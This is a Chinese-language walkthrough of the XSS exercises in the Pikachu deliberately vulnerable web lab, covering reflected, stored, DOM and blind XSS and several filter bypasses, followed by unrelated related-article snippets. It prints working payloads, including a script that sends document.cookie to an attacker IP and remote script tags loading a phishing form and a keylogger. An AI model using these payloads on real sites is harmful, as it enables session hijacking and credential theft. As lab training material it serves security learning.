pikachu - Cross-Site Scripting(XSS)

pikachu - Cross-Site Scripting(XSS)

声明!

笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人无关,切勿触碰法律底线,否则后果自负!!!!

题记

XSS(跨站脚本)概述Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

1.反射型XSS;
2.存储型XSS;
3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。


反射型xss(get)

在这里插入图片描述

我们输入123,并查看一下源代码,可以看到123已经在前端页面出现了。

那么我们输入一下123<script>看看会出现什么

在这里插入图片描述

可以看到,123<script>在前端中显示为“who is 123”,后边的“i don’t care!”则消失了。这说明<script>标签已经被执行了,那么我们可以直接构造XSS注入

<script>alert (1)</script>

但是这时候我们发现一件事情,那就是输入框有字符限制,导致无法构造完整的XSS注入代码。

但是由于这种字符字数限制,一般都是由前端进行验证,所以我们可以通过打开开发者工具修改前端源代码来解除一下字符输入的限制。

在这里插入图片描述

在这里插入图片描述

这时候再输入之前构造的XSS注入代码就能成功注入了,但是需要注意的是,由于前端代码修改只是临时性的,所以每次刷新,都需要重新修改字符限制,才能输入完整的XSS注入代码。

反射性xss(post)

在这里插入图片描述

在第二个模式,以POST方式提交中,发现输入XSS注入代码并没有效果,那就需要考虑一下,这是个登录框,是否成功登录之后还有新的页面?这里用了上一篇文章 pikachu - 暴力破解 爆破出来的账号密码来登录,发现三个账号都可以,这里我们使用 admin/123456 来登录。

在这里插入图片描述

登录之后,我们随便输入然后提交,再抓个包

在这里插入图片描述

能够看到,这是一个POST包,那对于注入来说,它与GET包会有不同吗?并不会,我们输入构造好的XSS注入代码

<script>alert (1)</script>

在这里插入图片描述

可以看到,依然是能注入成功的。

存储型xss

在这里插入图片描述

存储型与反射型最大的区别在于反射型是无法存储,只能通过诱骗点击链接来进行触发,而存储型则是永久存储,被写入数据库的,只要用户浏览到被写入XSS注入的代码,XSS注入就会生效。而XSS注入可以隐藏在一段文字中,也可以隐藏在图片中,它的触发方式也很多,可以通过鼠标点击甚至是鼠标有经过就能触发。

这里我们构造一个鼠标点击就会生效的XSS注入,可以发现不管刷新多少次,这个注入都存在。

<img src=1 οnclick=alert('xss')>

在这里插入图片描述

DOM型xss

DOM型XSS(跨站脚本攻击)是基于文档对象模型(Document Object Model,简称DOM)的一种漏洞。DOM是HTML文档的对象表示,它允许程序和脚本动态访问和更新文档的内容、结构和样式。DOM型XSS的特点是攻击者通过修改页面的DOM节点来注入恶意脚本,整个过程在客户端完成,不需要与服务器进行交互。

与传统的反射型和存储型XSS不同,DOM型XSS的攻击脚本不会被发送到服务器,而是在浏览器中通过JavaScript操作DOM时执行。这种攻击方式使得DOM型XSS难以被传统的Web应用防火墙(WAF)检测到。

我们正常输入一个字符串,然后用F12检查一下源代码

在这里插入图片描述

可以发现,这是一个超链接的标签,我们输入作为引用对象。

那么我们可以闭合引用,然后通过 onclick 属性来构造XSS注入,使用双引号"和单引号’测试,发现单引号可以进行闭合。

' οnclick="alert ('xss')"

在这里插入图片描述

DOM型xss-x

DOM-XSS-X 是一种特殊的跨站脚本攻击(XSS)类型,它结合了反射型XSS和DOM型XSS的特点。具体来说,DOM-XSS-X 通常涉及到从浏览器的URL中获取输入数据,然后通过JavaScript操作DOM来执行恶意脚本。这种攻击方式类似于反射型XSS,因为它通过URL参数传递恶意代码,但与反射型XSS不同的是,DOM-XSS-X 的执行过程完全在客户端进行,不需要服务器的参与。

在DOM-XSS-X 中,攻击者构造一个包含恶意脚本的URL,用户访问该URL时,JavaScript代码会从URL中提取参数,并将其插入到DOM中执行。由于整个过程不涉及服务器,因此这种攻击方式难以被传统的Web应用防火墙(WAF)检测到。

我们同样输入123然后按F12检查源代码,发现一开始会弹出“有些费尽心机想要忘记的事情,后来真的就忘掉了”的超链接,点击后生成新的超链接“就让往事都随风,都随风吧”,而这个超链接所引用的对象便是我们的输入。

在这里插入图片描述

那我们就可以按照之前的方法来进行,依然构造XSS注入

' οnclick="alert ('xss')"

在这里插入图片描述

xss盲打

在这里插入图片描述

什么叫盲打?顾名思义,就是在不知道是否能有返回结果的情况下,去进行注入。

我们测试一下,这里是否能进行注入。

<img src=1 onclick="alert ('1')">

在这里插入图片描述

然后我们再进入管理后台查看一下,后台地址是 IP:Port/vul/xss/xssblind/admin.php,账号/密码是admin/123456

在这里插入图片描述

说明xss注入被执行了,但是如果不登录管理后台的话,我们没有回显,也不清楚到底注入没,只是发个弹窗注入,貌似也起不了多大作用?

我们把页面往下拉,可以发现一个XSS后台

在这里插入图片描述

它具有三大模块,也是我们在模拟攻击中常用的手段cookie搜集、钓鱼结果、键盘记录

在这里插入图片描述

我们先进入cookie搜集模块,记下链接。当然,一开始是不知道?cookie作为传值,但是在目录文件中\pikachu\pkxss\xcookie\cookie.php可以看到

在这里插入图片描述

然后构造一个XSS注入代码

<script>document.location = 'http://192.168.42.142/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

接着我们回到XSS盲打模块

在这里插入图片描述

点击提交后,我们去管理后台刷新一下网页,然后再回到获取cookie结果模块,可以发现,cookie已被成功接收

在这里插入图片描述

我们接着来测试一下钓鱼模块

在这里插入图片描述

同样的,这里我们直接构造一个利用代码就行

<script src="http://192.168.42.142/pkxss/xfish/fish.php"></script>

但是这里我们需要去文件\pikachu\pkxss\xfish\fish.php修改一下,将IP改为我们自己的IP

在这里插入图片描述

我们把它用留言板提交,看看管理后台出现了什么

在这里插入图片描述

可以看到有一个登录框,我们输入admin/admin看看

在这里插入图片描述

可以看到,我们的输入已被抓取

接着测试一下获取键盘记录结果

同样的,我们先去\pikachu\pkxss\rkeypress\rk.js文件里改一下配置

在这里插入图片描述

然后构造XSS注入代码

<script src="http://192.168.42.142/pkxss/rkeypress/rk.js">123</script>

在这里插入图片描述

接着我们再管理后台随便输入一些字符串,再切回pikachu Xss 获取键盘记录结果的网页

在这里插入图片描述

可以看到,键盘的输入已经被抓取成功了

xss之过滤

在这里插入图片描述

我们先正常构造一个XSS注入代码,看看会显示什么

在这里插入图片描述

可以看到,'>'被过滤了,那么我们怎么绕过?

这时候就要说一下HTML和JavaScript的解析机制了。当浏览器解析HTML时,它会尝试将输入的文本视为有效的HTML代码,即使这些代码没有明确的闭合标签。

例如,如果你在HTML中输入<div>Hello</div>,浏览器会自动闭合这个

标签,即使你没有显式地写上闭合标签 </div>。这种机制被称为HTML的自我闭合特性‌。

所以我们构造一个没有’>'的XSS注入代码,便可以完美绕过

<img src=1 οnclick="alert ('1')"

在这里插入图片描述

xss之htmlspecialchars

在进行XSS注入代码的构造前,我们应该先了解一下htmlspecialchars()函数是什么。

htmlspecialchars() 是一个 PHP 函数,用于将字符串中的特殊字符转换为 HTML 实体。这样可以防止用户输入的文本被浏览器解释为 HTML 或 JavaScript 代码,从而防止跨站脚本攻击(XSS)。

参数
  • string:必需。要转换的字符串。

  • flags:可选。指定要转换哪些特殊字符。常用的值有:

    • ENT_COMPAT​:默认值。转换双引号为 &quot;​,不转换单引号。
    • ENT_QUOTES​:转换双引号和单引号。
    • ENT_NOQUOTES​:不转换任何引号.
  • encoding:可选。指定字符集,默认为 UTF-8​。

  • double_encode:可选。如果设置为 true​,则已转换的 HTML 实体将被再次转换。默认为 true​。

默认要求
  • flags:默认为 ENT_COMPAT​,即只转换双引号,不转换单引号。
  • encoding:默认为 UTF-8​。
  • double_encode:默认为 true​,即已转换的 HTML 实体将被再次转换。

所以现在我们可以清楚的知道,htmlspecialchars()函数会对输入的字符串中的特殊字符转换为HTML实体,但是它默认只转换双引号,不转换单引号,这就给了我们绕过的可能,我们构造一下只有单引号的XSS注入代码。

<img src=1 onclick='alert (1)'>

在这里插入图片描述

我们发现,我们的输入包含在超链接标签里,那么我们首先闭合标签,再重新构造一下

' οnclick='alert (1)'

在这里插入图片描述

xss之href输出

在这里插入图片描述

可以看到,我们的输入的特殊符号都被当做超链接的对象,没法进行闭合,那么我们该怎么绕过?这里提一下JavaScript历史遗留的特性。

在早期的 Web 技术中,JavaScript 的使用并不像现在这样普遍和强大。将 JavaScript 代码直接嵌入到 HTML 属性中(如 href)提供了一种简单的方式来实现一些基本的交互功能,而无需编写复杂的脚本或事件处理程序。

这种方法允许开发者在不使用 onclick 事件的情况下,通过点击链接来触发 JavaScript 代码的执行。javascript协议被引入作为一种允许在 URL 中嵌入 JavaScript 代码的方式。虽然它最初是为了解决一些特定的用例,但随着时间的推移,它被广泛用于各种场景,包括在 href 中使用。

那么在这里,我们就可以通过JavaScript特性来进行绕过

javascript:alert('1')

在这里插入图片描述

xss之js输出

在这里插入图片描述

尝试输入的字符串都被过滤了,只留下了这么一句话,那么我们该如何绕过?观察一下,在红框位置,是使用双引号进行闭合的,那么我们是否可以通过双引号来进行闭合?我们试一下。

"<script>alert (1)</script>

在这里插入图片描述

很尴尬,输入被吃了。这时候我们脑筋转一下,会不会是因为<script>没有闭合的原因?导致输入不被执行。我们闭合一下</script>

"</script><script>alert (1)</script>

在这里插入图片描述

成功弹出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/892287.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

部署:上传项目代码 配置数据库

一、上传代码 1、使用git 可以使用Git Clone。使用前&#xff0c;在服务器上也要创建秘钥对。这里的密钥对&#xff0c;是专门用来读取Git仓库的。 在宝塔上&#xff0c;点击终端。进来后&#xff0c;运行 ssh-keygen还是一路回车&#xff0c;密钥对就建好了。 接着用命令…

时敏软件定义网络的服务保证

论文标题&#xff1a; Service Guarantees for Time-Sensitive Software-Defined Networks作者信息&#xff1a; Weijiang Kong论文出处&#xff1a; Eindhoven University of Technology, 2025年1月20日 摘要&#xff1a; 在过去十年中&#xff0c;随着半导体技术的进步和对更…

【Linux】sed编辑器

一、基本介绍 sed编辑器也叫流编辑器&#xff08;stream editor&#xff09;&#xff0c;它是根据事先设计好得一组规则编辑数据流。 交互式文本编辑器&#xff08;如Vim&#xff09;中&#xff0c;可以用键盘命令交互式地插入、删除或替换文本数据。 sed编辑器是根据命令处理…

嵌入式入门Day40

C Day3 C对C的结构体的扩充类this指针类的大小类中的特殊成员函数构造函数 作业 C对C的结构体的扩充 C语言中的结构体&#xff0c;仅仅只是属性&#xff08;变量&#xff09;的聚合体&#xff0c;不可以在结构体中定义行为&#xff08;函数&#xff09;。如果非要在结构体中定…

《自动驾驶与机器人中的SLAM技术》ch2:基础数学知识

目录 2.1 几何学 向量的内积和外积 旋转矩阵 旋转向量 四元数 李群和李代数 SO(3)上的 BCH 线性近似式 2.2 运动学 李群视角下的运动学 SO(3) t 上的运动学 线速度和加速度 扰动模型和雅可比矩阵 典型算例&#xff1a;对向量进行旋转 典型算例&#xff1a;旋转的复合 2.3 …

C语言教程——指针进阶(1)

目录 前言 1、字符指针 2、指针数组 3、数组指针 3.1数组指针 3.2&数组名VS数组名 3.3数组指针的使用 4、数组参数、指针参数 4.1一维数组传参 4.2二维数组传参 4.3一级指针传参 4.4二级指针传参 4.5总结 5、函数指针 5.1思考 总结 前言 我们在之前知道指针…

[应用类App] 轮廓线 aia源码 UI界面精美,画布实现手柄摇杆

屏幕数量&#xff1a;10个&#xff0c;仅主界面近3000代码块&#xff0c;请自行研究参考。 实现了手柄摇杆功能&#xff0c;界面做的比较好。 下载地址&#xff1a;轮廓线 aia源码 UI界面精美&#xff0c;画布实现手柄摇杆 - .aia 案例源码 - 清泛IT社区&#xff0c;为创新赋能…

C++—9、如何在Microsoft Visual Studio中调试C++

本文通过实例操作来介绍 Visual Studio 调试器的功能。调试器在运行过程中可提供许多方法让你查看代码的情况。 你可以逐步浏览代码、查看变量中存储的值、设置对变量的监视以查看值何时改变、检查代码的执行路径、查看代码分支是否正在运行等等。本实例主要是设置断点及查看内…

SpringBoot项目实战(39)--Beetl网页HTML文件中静态图片及CSS、JS文件的引用和展示

使用Beetl开发网页时&#xff0c;在网页中使用的CSS、JS、图片等静态资源需要进行适当的配置才可以展示。大致的过程如下&#xff1a; &#xff08;1&#xff09;首先Spring Security框架需要允许js、css、图片资源免授权访问。 &#xff08;2&#xff09;网站开发时&#xff0…

GetMaterialApp组件的功能与用法

文章目录 1. 知识回顾2. 使用方法2.1 源码分析2.2 常用属性3. 示例代码4. 内容总结我们在上一章回中介绍了"Get包简介"相关的内容,本章回中将介绍GetMaterialApp组件.闲话休提,让我们一起Talk Flutter吧。 1. 知识回顾 我们在上一章回中已经介绍过GetMaterialApp组…

插入实体自增主键太长,mybatis-plaus自增主键

1、问题 spring-boot整合mybtais执行insert语句时&#xff0c;主键id为长文本数据。 2、分析问题 1)数据库主键是否自增 2&#xff09;数据库主键的种子值设置的多少 3、解决问题 1&#xff09;数据库主键设置的时自增 3&#xff09;种子值是1 所以排查是数据库的问题 4、继…

【嵌入式硬件】嵌入式显示屏接口

数字显示串行接口&#xff08;Digital Display Serial Interface&#xff09; SPI 不过多赘述。 I2C-bus interface 不过多赘述 MIPI DSI MIPI (Mobile Industry Processor Interface) Alliance, DSI (Display Serial Interface) 一般用于移动设备&#xff0c;下面是接口…

(STM32笔记)十二、DMA的基础知识与用法 第三部分

我用的是正点的STM32F103来进行学习&#xff0c;板子和教程是野火的指南者。 之后的这个系列笔记开头未标明的话&#xff0c;用的也是这个板子和教程。 DMA的基础知识与用法 三、DMA程序验证1、DMA 存储器到存储器模式实验&#xff08;1&#xff09;DMA结构体解释&#xff08;2…

MySQL 如何赶上 PostgreSQL 的势头?

原文地址 我与 MySQL 社区的前辈交谈时&#xff0c;经常遇到这个问题&#xff1a;「为什么 MySQL 这么棒&#xff0c;而且&#xff08;至少根据 DB-Engines 的计算&#xff09;仍然比 PostgreSQL 更流行&#xff1b;但它的地位在下降&#xff0c;PostgreSQL 却势不可挡地越来越…

完全二叉树的删除

&#xff08;1&#xff09;删除叶子节点 找到要删除的节点 targetNode找到要删除节点的父节点parent&#xff08;父节点是否存在&#xff09;要删除的节点是父节点的左子树还是右子树如果是左子树&#xff0c;则parent.leftnull;如果是右子树则parent.rightnull。 &#xff08;…

Docker入门之docker基本命令

Docker入门之docker基本命令 官方网站&#xff1a;https://www.docker.com/ 1. 拉取官方镜像并创建容器&#xff08;以redis为例&#xff09; 拉取官方镜像 docker pull redis# 如果不需要添加到自定义网络使用这个命令&#xff0c;如需要&#xff0c;直接看第二步 docker r…

玩转大语言模型——ollama导入huggingface下载的模型

ollama导入huggingface模型 前言gguf模型查找相关模型下载模型 导入Ollama配置参数文件导入模型查看导入情况 safetensfors模型下载模型下载llama.cpp配置环境并转换 前言 ollama在大语言模型的应用中十分的方便&#xff0c;但是也存在一定的问题&#xff0c;比如不能使用自己…

DFS之迭代加深、双向DFS、IDA*

迭代加深 迭代加深&#xff1a; 170. 加成序列 满足如下条件的序列 X X X&#xff08;序列中元素被标号为 1 、 2 、 3 … m 1、2、3…m 1、2、3…m&#xff09;被称为“加成序列”&#xff1a; X [ 1 ] 1 X[1]1 X[1]1 X [ m ] n X[m]n X[m]n X [ 1 ] < X [ 2 ] < …

Ansible之批量管理服务器

文章目录 背景第一步、安装第二步、配置免密登录2.1 生成密钥2.2 分发公钥2.3 测试无密连接 背景 Ansible是Python强大的服务器批量管理 第一步、安装 首先要拉取epel数据源&#xff0c;执行以下命令 yum -y install epel-release安装完毕如下所示。 使用 yum 命令安装 an…

【Linux网络编程】第二十二弹---深入理解 I/O 多路转接之 epoll:系统调用、工作原理、代码演示及应用场景

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】【Linux系统编程】【Linux网络编程】 目录 1、I/O 多路转接之 epoll 1.1、epoll 初识 1.2、epoll 的相关系统调用 1.2.1、epoll_create 1.2.2、epol…